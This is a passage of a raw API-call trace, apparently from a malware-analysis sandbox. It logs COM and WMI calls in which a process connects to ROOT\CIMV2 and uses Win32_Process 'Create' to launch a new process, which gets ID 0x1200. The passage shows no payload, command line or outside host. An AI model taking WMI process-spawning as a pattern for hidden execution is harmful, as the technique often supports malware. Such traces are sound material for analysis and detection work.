IUnknown:AddRef (This=0x1b470890) returned 0x3 [0108.001] IWbemClassObject:Put (This=0x1b49e370, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b470890, varVal2=0x0), Type=0) returned 0x0 [0108.001] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656330, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0108.001] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0108.001] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0108.001] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0108.001] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0108.001] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.001] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0108.001] WbemLocator:IUnknown:AddRef (This=0x1b470d28) returned 0x3 [0108.001] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b470d28) returned 0x0 [0108.002] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x3 [0108.002] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x2 [0108.002] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0108.002] WbemLocator:IUnknown:AddRef (This=0x1b470d28) returned 0x3 [0108.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b470d28) returned 0x0 [0108.002] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x3 [0108.002] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x2 [0108.002] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0108.002] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0108.002] IWbemServices:ExecMethod (in: This=0x1b4b4160, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b49e370, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b49fe60, ppCallResult=0x0) returned 0x0 [0108.056] IWbemClassObject:Get (in: This=0x1b49fe60, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277c248*=0, plFlavor=0x277c24c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1200, varVal2=0x0), pType=0x277c248*=19, plFlavor=0x277c24c*=0) returned 0x0 [0108.056] IWbemClassObject:Get (in: This=0x1b49fe60, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277c248*=19, plFlavor=0x277c24c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1200, varVal2=0x0), pType=0x277c248*=19, plFlavor=0x277c24c*=0) returned 0x0 [0108.056] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0108.056] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0108.056] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0108.056] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.057] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b45cdb0) returned 0x0 [0108.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0108.057] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cdb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x655d30) returned 0x0 [0108.057] WbemDefPath:IUnknown:Release (This=0x1b45cdb0) returned 0x0 [0108.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x655d30) returned 0x0 [0108.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0108.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0108.058] WbemDefPath:IUnknown:AddRef (This=0x655d30) returned 0x3 [0108.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0108.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0108.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x6331e0) returned 0x0 [0108.058] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x6331e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.058] WbemDefPath:IUnknown:Release (This=0x6331e0) returned 0x3 [0108.058] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0108.058] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0108.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0108.058] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x2 [0108.058] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x1 [0108.058] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0108.058] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0108.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x655d30) returned 0x0 [0108.058] WbemDefPath:IUnknown:AddRef (This=0x655d30) returned 0x3 [0108.058] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x2 [0108.058] WbemDefPath:IWbemPath:SetText (This=0x655d30, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0108.058] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655d30, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0108.058] WbemDefPath:IWbemPath:GetText (in: This=0x655d30, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0108.058] WbemDefPath:IWbemPath:GetText (in: This=0x655d30, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0108.058] WbemDefPath:IWbemPath:GetInfo (in: This=0x655d30, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0108.058] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655d30, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0108.058] WbemDefPath:IWbemPath:GetInfo (in: This=0x655d30, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0108.058] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0108.058] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0108.058] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0108.059] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.059] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x633340) returned 0x0 [0108.059] WbemDefPath:IUnknown:QueryInterface (in: This=0x633340, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0108.059] WbemDefPath:IClassFactory:CreateInstance (in: This=0x633340, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x6567b0) returned 0x0 [0108.059] WbemDefPath:IUnknown:Release (This=0x633340) returned 0x0 [0108.059] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x6567b0) returned 0x0 [0108.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0108.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0108.060] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0108.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0108.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0108.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x63ead0) returned 0x0 [0108.060] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x63ead0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.060] WbemDefPath:IUnknown:Release (This=0x63ead0) returned 0x3 [0108.060] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0108.060] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0108.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0108.060] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0108.060] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0108.060] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0108.060] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0108.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x6567b0) returned 0x0 [0108.060] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0108.060] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0108.060] WbemDefPath:IWbemPath:SetText (This=0x6567b0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0108.060] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0108.060] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0108.060] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0108.060] WbemDefPath:IWbemPath:GetInfo (in: This=0x6567b0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0108.060] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0108.060] WbemDefPath:IWbemPath:GetInfo (in: This=0x6567b0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0108.060] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0108.060] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0108.061] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0108.061] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.061] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0108.061] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0108.061] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0108.061] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.061] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x63ebf0) returned 0x0 [0108.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x63ebf0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0108.061] WbemDefPath:IClassFactory:CreateInstance (in: This=0x63ebf0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x656cf0) returned 0x0 [0108.061] WbemDefPath:IUnknown:Release (This=0x63ebf0) returned 0x0 [0108.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x656cf0) returned 0x0 [0108.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0108.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0108.062] WbemDefPath:IUnknown:AddRef (This=0x656cf0) returned 0x3 [0108.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0108.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0108.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x63f4b0) returned 0x0 [0108.062] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x63f4b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.062] WbemDefPath:IUnknown:Release (This=0x63f4b0) returned 0x3 [0108.062] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0108.062] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0108.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0108.062] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x2 [0108.062] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x1 [0108.062] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0108.062] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0108.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x656cf0) returned 0x0 [0108.062] WbemDefPath:IUnknown:AddRef (This=0x656cf0) returned 0x3 